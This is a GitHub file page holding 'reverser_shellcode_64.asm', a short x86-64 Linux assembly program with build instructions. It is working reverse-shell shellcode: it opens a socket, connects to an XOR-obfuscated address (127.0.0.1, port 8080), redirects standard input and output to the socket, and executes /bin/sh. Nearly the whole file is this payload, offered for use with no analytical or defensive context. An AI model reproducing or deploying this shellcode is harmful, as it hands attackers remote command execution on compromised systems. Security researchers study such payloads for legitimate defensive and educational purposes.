-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreverser_shellcode_64.asm
More file actions
70 lines (60 loc) · 1.33 KB
/
reverser_shellcode_64.asm
File metadata and controls
70 lines (60 loc) · 1.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
; compile : nasm -f elf64 reverser_shellcode_64.asm && ld reverser_shellcode_64.o -o reverseshell
global _start
_start:
mov al, 0x29
push 0x2
pop rdi
push 0x1
pop rsi
xor edx, edx
syscall
mov r9, rax
xchg rdi, rax
xor rcx, rcx
mov ebx, 0xfeffff80
xor ebx, 0xffffffff
push rcx
push rcx
push rbx
push word 0x901F
push word 0x2
mov rsi, rsp
push byte 0x10
pop rdx
mov rbx, rdi
mov al, 0x2a
syscall
inc eax
cmp eax, 1
jne fail
jmp continue
fail:
xor rbx, rbx
xor rax, rax
mov al, 0x1
syscall
continue:
push byte 0x02
pop rsi
mov rdi, r9
loop:
push 0x21
pop rax
syscall
dec rsi
jns loop
xor rdx, rdx
push rdx
push rdx
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
xor rbx, rbx
xor rax, rax
mov al, 0x3c
syscall